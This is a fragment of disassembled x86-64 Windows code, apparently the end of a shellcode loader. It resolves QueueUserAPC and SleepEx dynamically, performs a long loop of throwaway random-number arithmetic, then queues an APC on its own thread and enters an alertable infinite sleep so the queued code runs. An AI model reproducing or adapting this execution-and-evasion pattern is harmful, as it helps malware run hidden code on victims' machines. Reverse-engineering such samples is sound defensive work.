mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x7f0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x804], 0xffffffff
mov ecx, 0x1370
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
add dword [rbp + 0x804], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
movsd xmm1, qword [0x140006658]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x804]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x804]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x688]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003d50
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x804], 0x26c
jle 0x1400029e5
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x690]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x870]
add rsp, 0x908
pop rbx
pop rsi
pop rdi
pop rbp
ret